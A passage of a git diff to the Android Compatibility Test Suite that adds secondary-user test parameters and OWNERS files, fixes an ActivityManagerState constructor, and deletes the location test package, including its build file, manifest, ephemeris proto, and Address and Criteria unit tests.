- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hardware.input.cts.tests;
-
-import android.hardware.cts.R;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-import androidx.test.filters.SmallTest;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-public class SonyDualshock4TestCase extends InputTestCase {
-
-    public SonyDualshock4TestCase() {
-        super(R.raw.sony_dualshock4_register);
-    }
-
-    @Test
-    public void testAllKeys() {
-        testInputEvents(R.raw.sony_dualshock4_keyeventtests);
-    }
-
-    @Test
-    public void testAllMotions() {
-        testInputEvents(R.raw.sony_dualshock4_motioneventtests);
-    }
-}
diff --git a/tests/tests/icu/AndroidTest.xml b/tests/tests/icu/AndroidTest.xml
index 51ae4fa..9e1729a 100644
--- a/tests/tests/icu/AndroidTest.xml
+++ b/tests/tests/icu/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <!-- Enable multi-lib since ICU4J is backed by native codes in libcore and ICU4C. -->
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsIcuTestCases.apk" />
diff --git a/tests/tests/jni/OWNERS b/tests/tests/jni/OWNERS
new file mode 100644
index 0000000..29fea99
--- /dev/null
+++ b/tests/tests/jni/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include /hostsidetests/classloaders/OWNERS
diff --git a/tests/tests/keystore/OWNERS b/tests/tests/keystore/OWNERS
new file mode 100644
index 0000000..30685c8
--- /dev/null
+++ b/tests/tests/keystore/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 36824
+swillden@google.com
+jdanis@google.com
+jbires@google.com
diff --git a/tests/tests/keystore/src/android/server/am/ActivityManagerState.java b/tests/tests/keystore/src/android/server/am/ActivityManagerState.java
index debe8fc..b56d745 100644
--- a/tests/tests/keystore/src/android/server/am/ActivityManagerState.java
+++ b/tests/tests/keystore/src/android/server/am/ActivityManagerState.java
@@ -341,7 +341,7 @@
         int procId = -1;
 
         Activity(ActivityRecordProto proto) {
-            super(proto.configurationContainer);
+            super(proto.appWindowToken.windowToken.windowContainer.configurationContainer);
             name = proto.identifier.title;
             state = proto.state;
             visible = proto.visible;
diff --git a/tests/tests/libcoreapievolution/AndroidTest.xml b/tests/tests/libcoreapievolution/AndroidTest.xml
index 5f8d6e9..bfa6cdf 100644
--- a/tests/tests/libcoreapievolution/AndroidTest.xml
+++ b/tests/tests/libcoreapievolution/AndroidTest.xml
@@ -17,6 +17,9 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="libcore" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <!-- Test is eligible to run on Android Multiuser users other than SYSTEM.
+         See source.android.com/devices/tech/admin/multi-user#user_types -->
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/libcorelegacy22/AndroidTest.xml b/tests/tests/libcorelegacy22/AndroidTest.xml
index f496e9e..33e08c0 100644
--- a/tests/tests/libcorelegacy22/AndroidTest.xml
+++ b/tests/tests/libcorelegacy22/AndroidTest.xml
@@ -17,6 +17,9 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="libcore" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <!-- Test is eligible to run on Android Multiuser users other than SYSTEM.
+         See source.android.com/devices/tech/admin/multi-user#user_types -->
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/location/Android.bp b/tests/tests/location/Android.bp
deleted file mode 100644
index a960b1e..0000000
--- a/tests/tests/location/Android.bp
+++ /dev/null
@@ -1,65 +0,0 @@
-// Copyright (C) 2008 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-// Reusable Location test classes and helpers
-
-java_test_helper_library {
-    name: "cts-location-tests",
-    libs: [
-        "telephony-common",
-        "android.test.base.stubs",
-    ],
-    static_libs: [
-        "compatibility-device-util-axt",
-        "ctstestrunner-axt",
-        "apache-commons-math",
-        "platform-test-annotations",
-    ],
-    srcs: [
-        "src/android/location/cts/**/*.java",
-        "protos/**/*.proto",
-    ],
-    proto: {
-        type: "nano",
-    },
-}
-
-// CtsLocationTestCases package
-android_test {
-    name: "CtsLocationTestCases",
-    defaults: ["cts_defaults"],
-    test_suites: [
-        "cts",
-        "vts",
-        "general-tests",
-    ],
-    libs: [
-        "telephony-common",
-        "android.test.base.stubs",
-    ],
-    static_libs: [
-        "compatibility-device-util-axt",
-        "ctstestrunner-axt",
-        "apache-commons-math",
-    ],
-    proto: {
-        type: "nano",
-    },
-    srcs: [
-        "src/**/*.java",
-        "protos/**/*.proto",
-    ],
-    platform_apis: true,
-    dxflags: ["--multi-dex"],
-}
diff --git a/tests/tests/location/AndroidManifest.xml b/tests/tests/location/AndroidManifest.xml
deleted file mode 100644
index bd887b5..0000000
--- a/tests/tests/location/AndroidManifest.xml
+++ /dev/null
@@ -1,49 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2007 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.location.cts"
-    android:targetSandboxVersion="2">
-
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <uses-permission android:name="android.permission.ACCESS_MOCK_LOCATION"/>
-    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
-    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
-    <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
-
-    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
-    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
-    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
-    <uses-permission android:name="android.permission.INTERNET" />
-
-    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
-    <uses-permission android:name="android.permission.READ_SMS"/>
-    <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
-    <uses-permission android:name="android.permission.RECEIVE_SMS" />
-    <uses-permission android:name="android.permission.SEND_SMS" />
-    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.location.cts"
-                     android:label="CTS tests of android.location">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-</manifest>
-
diff --git a/tests/tests/location/AndroidTest.xml b/tests/tests/location/AndroidTest.xml
deleted file mode 100644
index 323fddc..0000000
--- a/tests/tests/location/AndroidTest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS Location test cases">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="location" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsLocationTestCases.apk" />
-    </target_preparer>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="android.location.cts" />
-        <option name="runtime-hint" value="18m8s" />
-        <option name="hidden-api-checks" value="false" />
-    </test>
-
-</configuration>
diff --git a/tests/tests/location/OWNERS b/tests/tests/location/OWNERS
deleted file mode 100644
index 99ad4f3..0000000
--- a/tests/tests/location/OWNERS
+++ /dev/null
@@ -1,6 +0,0 @@
-# Bug component: 32850
-lifu@google.com
-sooniln@google.com
-weiwa@google.com
-wyattriley@google.com
-yuhany@google.com
diff --git a/tests/tests/location/README.txt b/tests/tests/location/README.txt
deleted file mode 100644
index 4692eab..0000000
--- a/tests/tests/location/README.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-Location CTS tests that require "android.permission.ACCESS_FINE_LOCATION".
-Note you must enable "Allow mock locations" at Settings > Developer options.
diff --git a/tests/tests/location/protos/ephemeris.proto b/tests/tests/location/protos/ephemeris.proto
deleted file mode 100644
index 6196aa0..0000000
--- a/tests/tests/location/protos/ephemeris.proto
+++ /dev/null
@@ -1,124 +0,0 @@
-syntax = "proto2";
-
-package android.location.cts;
-// RPC service for providing ephemeris data
-
-
-message GpsTimeProto {
-  optional int64 nanosecond = 1;
-}
-
-message GpsEphemerisProto {
-  // Time used for generating this data (typically, the queried time).
-  optional GpsTimeProto data_time = 1;
-
-  // PRN.
-  optional int32 prn = 2;
-
-  // GPS week number.
-  optional int32 week = 3;
-
-  // Code on L2.
-  optional int32 l2_code = 4;
-
-  // L2 P data flag.
-  optional int32 l2_flag = 5;
-
-  // SV accuracy in meters.
-  optional double sv_accuracy_m = 6;
-
-  // SV health bits.
-  optional int32 sv_health = 7;
-
-  // Issue of data (ephemeris).
-  optional int32 iode = 8;
-
-  // Issue of data (clock).
-  optional int32 iodc = 9;
-
-  // Time of clock (second).
-  optional double toc = 10;
-
-  // Time of ephemeris (second).
-  optional double toe = 11;
-
-  // Transmission time of the message.
-  optional double tom = 12;
-
-  // Clock info (drift, bias, etc).
-  optional double af0 = 13;
-  optional double af1 = 14;
-  optional double af2 = 15;
-  optional double tgd = 16;
-
-  // Orbital parameters.
-  // Square root of semi-major axis
-  optional double root_of_a = 17;
-
-  // Eccentricity.
-  optional double e = 18;
-
-  // Inclination angle (radian).
-  optional double i_0 = 19;
-
-  // Rate of inclination angle (radians/sec).
-  optional double i_dot = 20;
-
-  // Argument of perigee.
-  optional double omega = 21;
-
-  // Longitude of ascending node of orbit plane at the beginning of week.
-  optional double omega_0 = 22;
-
-  // Rate of right ascension.
-  optional double omega_dot = 23;
-
-  // Mean anomaly at reference time.
-  optional double m_0 = 24;
-
-  // Mean motion difference from computed value.
-  optional double delta_n = 25;
-
-  // Amplitude of second-order harmonic perturbations.
-  optional double crc = 26;
-  optional double crs = 27;
-  optional double cuc = 28;
-  optional double cus = 29;
-  optional double cic = 30;
-  optional double cis = 31;
-
-  // FIT interval.
-  optional double fit_interval = 32;
-}
-
-// Klobuchar Ionospheric Model
-message IonosphericModelProto {
-  // Time used for generating this data (typically, the queried time).
-  optional GpsTimeProto data_time = 1;
-
-  // Amplitude parameters
-  repeated double alpha = 2;
-
-  // Period parameters.
-  repeated double beta = 3;
-}
-
-message UtcModelProto {
-  optional double a_0 = 1;
-  optional double a_1 = 2;
-  optional int64 tow = 3;
-  optional int32 leap_seconds = 4;
-}
-
-message GpsNavMessageProto {
-  // Status for the RPC call.
-  enum RpcStatus {
-    UNKNOWN_RPC_STATUS = 0;
-    SUCCESS = 1;
-    SERVER_ERROR = 2;
-  }
-  optional RpcStatus rpc_status = 1;
-  optional IonosphericModelProto iono = 2;
-  optional UtcModelProto utc_model = 3;
-  repeated GpsEphemerisProto ephemerids = 4;
-}
diff --git a/tests/tests/location/src/android/location/cts/AddressTest.java b/tests/tests/location/src/android/location/cts/AddressTest.java
deleted file mode 100644
index 5e44b61..0000000
--- a/tests/tests/location/src/android/location/cts/AddressTest.java
+++ /dev/null
@@ -1,344 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import java.util.Locale;
-
-import junit.framework.TestCase;
-import android.location.Address;
-import android.os.Bundle;
-import android.os.Parcel;
-import android.os.Parcelable;
-
-/**
- * Test the main functionalities of the AddressTest.
- */
-public class AddressTest extends TestCase {
-    public void testConstructor() {
-        new Address(Locale.ENGLISH);
-
-        new Address(Locale.FRANCE);
-
-        new Address(null);
-    }
-
-    public void testDescribeContents() {
-        Address address = new Address(Locale.GERMAN);
-
-        assertEquals(0, address.describeContents());
-
-        Bundle extras = new Bundle();
-        extras.putParcelable("key1", new MockParcelable());
-        address.setExtras(extras);
-
-        assertEquals(extras.describeContents(), address.describeContents());
-    }
-
-    public void testAccessAdminArea() {
-        Address address = new Address(Locale.ITALY);
-
-        String adminArea = "CA";
-        address.setAdminArea(adminArea);
-        assertEquals(adminArea, address.getAdminArea());
-
-        address.setAdminArea(null);
-        assertNull(address.getAdminArea());
-    }
-
-    public void testAccessCountryCode() {
-        Address address = new Address(Locale.JAPAN);
-
-        String countryCode = "US";
-        address.setCountryCode(countryCode);
-        assertEquals(countryCode, address.getCountryCode());
-
-        address.setCountryCode(null);
-        assertNull(address.getCountryCode());
-    }
-
-    public void testAccessCountryName() {
-        Address address = new Address(Locale.KOREA);
-
-        String countryName = "China";
-        address.setCountryName(countryName);
-        assertEquals(countryName, address.getCountryName());
-
-        address.setCountryName(null);
-        assertNull(address.getCountryName());
-    }
-
-    public void testAccessExtras() {
-        Address address = new Address(Locale.TAIWAN);
-
-        Bundle extras = new Bundle();
-        extras.putBoolean("key1", false);
-        byte b = 10;
-        extras.putByte("key2", b);
-
-        address.setExtras(extras);
-        Bundle actual = address.getExtras();
-        assertFalse(actual.getBoolean("key1"));
-        assertEquals(b, actual.getByte("key2"));
-
-        address.setExtras(null);
-        assertNull(address.getExtras());
-    }
-
-    public void testAccessFeatureName() {
-        Address address = new Address(Locale.SIMPLIFIED_CHINESE);
-
-        String featureName = "Golden Gate Bridge";
-        address.setFeatureName(featureName);
-        assertEquals(featureName, address.getFeatureName());
-
-        address.setFeatureName(null);
-        assertNull(address.getFeatureName());
-    }
-
-    public void testAccessLatitude() {
-        Address address = new Address(Locale.CHINA);
-        assertFalse(address.hasLatitude());
-
-        double latitude = 1.23456789;
-        address.setLatitude(latitude);
-        assertTrue(address.hasLatitude());
-        assertEquals(latitude, address.getLatitude());
-
-        address.clearLatitude();
-        assertFalse(address.hasLatitude());
-        try {
-            address.getLatitude();
-            fail("should throw IllegalStateException.");
-        } catch (IllegalStateException e) {
-        }
-    }
-
-    public void testAccessLongitude() {
-        Address address = new Address(Locale.CHINA);
-        assertFalse(address.hasLongitude());
-
-        double longitude = 1.23456789;
-        address.setLongitude(longitude);
-        assertTrue(address.hasLongitude());
-        assertEquals(longitude, address.getLongitude());
-
-        address.clearLongitude();
-        assertFalse(address.hasLongitude());
-        try {
-            address.getLongitude();
-            fail("should throw IllegalStateException.");
-        } catch (IllegalStateException e) {
-        }
-    }
-
-    public void testAccessPhone() {
-        Address address = new Address(Locale.CHINA);
-
-        String phone = "+86-13512345678";
-        address.setPhone(phone);
-        assertEquals(phone, address.getPhone());
-
-        address.setPhone(null);
-        assertNull(address.getPhone());
-    }
-
-    public void testAccessPostalCode() {
-        Address address = new Address(Locale.CHINA);
-
-        String postalCode = "93110";
-        address.setPostalCode(postalCode);
-        assertEquals(postalCode, address.getPostalCode());
-
-        address.setPostalCode(null);
-        assertNull(address.getPostalCode());
-    }
-
-    public void testAccessThoroughfare() {
-        Address address = new Address(Locale.CHINA);
-
-        String thoroughfare = "1600 Ampitheater Parkway";
-        address.setThoroughfare(thoroughfare);
-        assertEquals(thoroughfare, address.getThoroughfare());
-
-        address.setThoroughfare(null);
-        assertNull(address.getThoroughfare());
-    }
-
-    public void testAccessUrl() {
-        Address address = new Address(Locale.CHINA);
-
-        String Url = "Url";
-        address.setUrl(Url);
-        assertEquals(Url, address.getUrl());
-
-        address.setUrl(null);
-        assertNull(address.getUrl());
-    }
-
-    public void testAccessSubAdminArea() {
-        Address address = new Address(Locale.CHINA);
-
-        String subAdminArea = "Santa Clara County";
-        address.setSubAdminArea(subAdminArea);
-        assertEquals(subAdminArea, address.getSubAdminArea());
-
-        address.setSubAdminArea(null);
-        assertNull(address.getSubAdminArea());
-    }
-
-    public void testToString() {
-        Address address = new Address(Locale.CHINA);
-
-        address.setUrl("www.google.com");
-        address.setPostalCode("95120");
-        String expected = "Address[addressLines=[],feature=null,admin=null,sub-admin=null," +
-                "locality=null,thoroughfare=null,postalCode=95120,countryCode=null," +
-                "countryName=null,hasLatitude=false,latitude=0.0,hasLongitude=false," +
-                "longitude=0.0,phone=null,url=www.google.com,extras=null]";
-        assertEquals(expected, address.toString());
-    }
-
-    public void testAddressLine() {
-        Address address = new Address(Locale.CHINA);
-
-        try {
-            address.setAddressLine(-1, null);
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-        }
-
-        try {
-            address.getAddressLine(-1);
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-        }
-
-        address.setAddressLine(0, null);
-        assertNull(address.getAddressLine(0));
-        assertEquals(0, address.getMaxAddressLineIndex());
-
-        final String line1 = "1";
-        address.setAddressLine(0, line1);
-        assertEquals(line1, address.getAddressLine(0));
-        assertEquals(0, address.getMaxAddressLineIndex());
-
-        final String line2 = "2";
-        address.setAddressLine(5, line2);
-        assertEquals(line2, address.getAddressLine(5));
-        assertEquals(5, address.getMaxAddressLineIndex());
-
-        address.setAddressLine(2, null);
-        assertNull(address.getAddressLine(2));
-        assertEquals(5, address.getMaxAddressLineIndex());
-    }
-
-    public void testGetLocale() {
-        Locale locale = Locale.US;
-        Address address = new Address(locale);
-        assertSame(locale, address.getLocale());
-
-        locale = Locale.UK;
-        address = new Address(locale);
-        assertSame(locale, address.getLocale());
-
-        address = new Address(null);
-        assertNull(address.getLocale());
-    }
-
-    public void testAccessLocality() {
-        Address address = new Address(Locale.PRC);
-
-        String locality = "Hollywood";
-        address.setLocality(locality);
-        assertEquals(locality, address.getLocality());
-
-        address.setLocality(null);
-        assertNull(address.getLocality());
-    }
-
-    public void testAccessPremises() {
-        Address address = new Address(Locale.PRC);
-
-        String premises = "Appartment";
-        address.setPremises(premises);
-        assertEquals(premises, address.getPremises());
-
-        address.setPremises(null);
-        assertNull(address.getPremises());
-    }
-
-    public void testAccessSubLocality() {
-        Address address = new Address(Locale.PRC);
-
-        String subLocality = "Sarchnar";
-        address.setSubLocality(subLocality);
-        assertEquals(subLocality, address.getSubLocality());
-
-        address.setSubLocality(null);
-        assertNull(address.getSubLocality());
-    }
-
-    public void testAccessSubThoroughfare() {
-        Address address = new Address(Locale.PRC);
-
-        String subThoroughfare = "1600";
-        address.setSubThoroughfare(subThoroughfare);
-        assertEquals(subThoroughfare, address.getSubThoroughfare());
-
-        address.setSubThoroughfare(null);
-        assertNull(address.getSubThoroughfare());
-    }
-
-    public void testWriteToParcel() {
-        Locale locale = Locale.KOREA;
-        Address address = new Address(locale);
-
-        Parcel parcel = Parcel.obtain();
-        address.writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-        assertEquals(locale.getLanguage(), parcel.readString());
-        assertEquals(locale.getCountry(), parcel.readString());
-        assertEquals(0, parcel.readInt());
-        assertEquals(address.getFeatureName(), parcel.readString());
-        assertEquals(address.getAdminArea(), parcel.readString());
-        assertEquals(address.getSubAdminArea(), parcel.readString());
-        assertEquals(address.getLocality(), parcel.readString());
-        assertEquals(address.getSubLocality(), parcel.readString());
-        assertEquals(address.getThoroughfare(), parcel.readString());
-        assertEquals(address.getSubThoroughfare(), parcel.readString());
-        assertEquals(address.getPremises(), parcel.readString());
-        assertEquals(address.getPostalCode(), parcel.readString());
-        assertEquals(address.getCountryCode(), parcel.readString());
-        assertEquals(address.getCountryName(), parcel.readString());
-        assertEquals(0, parcel.readInt());
-        assertEquals(0, parcel.readInt());
-        assertEquals(address.getPhone(), parcel.readString());
-        assertEquals(address.getUrl(), parcel.readString());
-        assertEquals(address.getExtras(), parcel.readBundle());
-
-        parcel.recycle();
-    }
-
-    private class MockParcelable implements Parcelable {
-        public int describeContents() {
-            return Parcelable.CONTENTS_FILE_DESCRIPTOR;
-        }
-
-        public void writeToParcel(Parcel dest, int flags) {
-        }
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/BaseMockLocationTest.java b/tests/tests/location/src/android/location/cts/BaseMockLocationTest.java
deleted file mode 100644
index 7b08da8..0000000
--- a/tests/tests/location/src/android/location/cts/BaseMockLocationTest.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- *
- */
-
-package android.location.cts;
-
-import com.android.compatibility.common.util.LocationUtils;
-
-import android.test.InstrumentationTestCase;
-
-/**
- * Base class for instrumentations tests that use mock location.
- */
-public abstract class BaseMockLocationTest extends InstrumentationTestCase {
-    private static final String LOG_TAG = "BaseMockLocationTest";
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        LocationUtils.registerMockLocationProvider(getInstrumentation(), true);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        LocationUtils.registerMockLocationProvider(getInstrumentation(), false);
-        super.tearDown();
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/CriteriaTest.java b/tests/tests/location/src/android/location/cts/CriteriaTest.java
deleted file mode 100644
index 97b4079..0000000
--- a/tests/tests/location/src/android/location/cts/CriteriaTest.java
+++ /dev/null
@@ -1,223 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-
-import android.location.Criteria;
-import android.os.Parcel;
-import android.test.AndroidTestCase;
-
-public class CriteriaTest extends AndroidTestCase {
-    public void testConstructor() {
-        new Criteria();
-
-        Criteria c = new Criteria();
-        c.setAccuracy(Criteria.ACCURACY_FINE);
-        c.setAltitudeRequired(true);
-        c.setBearingRequired(true);
-        c.setCostAllowed(true);
-        c.setPowerRequirement(Criteria.POWER_HIGH);
-        c.setSpeedRequired(true);
-        Criteria criteria = new Criteria(c);
-        assertEquals(Criteria.ACCURACY_FINE, criteria.getAccuracy());
-        assertTrue(criteria.isAltitudeRequired());
-        assertTrue(criteria.isBearingRequired());
-        assertTrue(criteria.isCostAllowed());
-        assertTrue(criteria.isSpeedRequired());
-        assertEquals(Criteria.POWER_HIGH, criteria.getPowerRequirement());
-
-        try {
-            new Criteria(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected.
-        }
-    }
-
-    public void testDescribeContents() {
-        Criteria criteria = new Criteria();
-        criteria.describeContents();
-    }
-
-    public void testAccessAccuracy() {
-        Criteria criteria = new Criteria();
-
-        criteria.setAccuracy(Criteria.ACCURACY_FINE);
-        assertEquals(Criteria.ACCURACY_FINE, criteria.getAccuracy());
-
-        criteria.setAccuracy(Criteria.ACCURACY_COARSE);
-        assertEquals(Criteria.ACCURACY_COARSE, criteria.getAccuracy());
-
-        try {
-            // It should throw IllegalArgumentException
-            criteria.setAccuracy(-1);
-            // issue 1728526
-        } catch (IllegalArgumentException e) {
-            // expected.
-        }
-
-        try {
-            // It should throw IllegalArgumentException
-            criteria.setAccuracy(Criteria.ACCURACY_COARSE + 1);
-            // issue 1728526
-        } catch (IllegalArgumentException e) {
-            // expected.
-        }
-    }
-
-    public void testAccessPowerRequirement() {
-        Criteria criteria = new Criteria();
-
-        criteria.setPowerRequirement(Criteria.NO_REQUIREMENT);
-        assertEquals(Criteria.NO_REQUIREMENT, criteria.getPowerRequirement());
-
-        criteria.setPowerRequirement(Criteria.POWER_MEDIUM);
-        assertEquals(Criteria.POWER_MEDIUM, criteria.getPowerRequirement());
-
-        try {
-            criteria.setPowerRequirement(-1);
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-            // expected.
-        }
-
-        try {
-            criteria.setPowerRequirement(Criteria.POWER_HIGH + 1);
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-            // expected.
-        }
-    }
-
-    public void testAccessAltitudeRequired() {
-        Criteria criteria = new Criteria();
-
-        criteria.setAltitudeRequired(false);
-        assertFalse(criteria.isAltitudeRequired());
-
-        criteria.setAltitudeRequired(true);
-        assertTrue(criteria.isAltitudeRequired());
-    }
-
-    public void testAccessBearingAccuracy() {
-        Criteria criteria = new Criteria();
-
-        criteria.setBearingAccuracy(Criteria.ACCURACY_LOW);
-        assertEquals(Criteria.ACCURACY_LOW, criteria.getBearingAccuracy());
-
-        criteria.setBearingAccuracy(Criteria.ACCURACY_HIGH);
-        assertEquals(Criteria.ACCURACY_HIGH, criteria.getBearingAccuracy());
-
-        criteria.setBearingAccuracy(Criteria.NO_REQUIREMENT);
-        assertEquals(Criteria.NO_REQUIREMENT, criteria.getBearingAccuracy());
-      }
-
-    public void testAccessBearingRequired() {
-        Criteria criteria = new Criteria();
-
-        criteria.setBearingRequired(false);
-        assertFalse(criteria.isBearingRequired());
-
-        criteria.setBearingRequired(true);
-        assertTrue(criteria.isBearingRequired());
-    }
-
-    public void testAccessCostAllowed() {
-        Criteria criteria = new Criteria();
-
-        criteria.setCostAllowed(false);
-        assertFalse(criteria.isCostAllowed());
-
-        criteria.setCostAllowed(true);
-        assertTrue(criteria.isCostAllowed());
-    }
-
-    public void testAccessHorizontalAccuracy() {
-        Criteria criteria = new Criteria();
-
-        criteria.setHorizontalAccuracy(Criteria.ACCURACY_LOW);
-        assertEquals(Criteria.ACCURACY_LOW, criteria.getHorizontalAccuracy());
-
-        criteria.setHorizontalAccuracy(Criteria.ACCURACY_MEDIUM);
-        assertEquals(Criteria.ACCURACY_MEDIUM, criteria.getHorizontalAccuracy());
-
-        criteria.setHorizontalAccuracy(Criteria.ACCURACY_HIGH);
-        assertEquals(Criteria.ACCURACY_HIGH, criteria.getHorizontalAccuracy());
-
-        criteria.setHorizontalAccuracy(Criteria.NO_REQUIREMENT);
-        assertEquals(Criteria.NO_REQUIREMENT, criteria.getHorizontalAccuracy());
-    }
-
-    public void testAccessSpeedAccuracy() {
-        Criteria criteria = new Criteria();
-
-        criteria.setSpeedAccuracy(Criteria.ACCURACY_LOW);
-        assertEquals(Criteria.ACCURACY_LOW, criteria.getSpeedAccuracy());
-
-        criteria.setSpeedAccuracy(Criteria.ACCURACY_HIGH);
-        assertEquals(Criteria.ACCURACY_HIGH, criteria.getSpeedAccuracy());
-
-        criteria.setSpeedAccuracy(Criteria.NO_REQUIREMENT);
-        assertEquals(Criteria.NO_REQUIREMENT, criteria.getSpeedAccuracy());
-    }
-
-    public void testAccessSpeedRequired() {
-        Criteria criteria = new Criteria();
-
-        criteria.setSpeedRequired(false);
-        assertFalse(criteria.isSpeedRequired());
-
-        criteria.setSpeedRequired(true);
-        assertTrue(criteria.isSpeedRequired());
-    }
-
-    public void testAccessVerticalAccuracy() {
-        Criteria criteria = new Criteria();
-
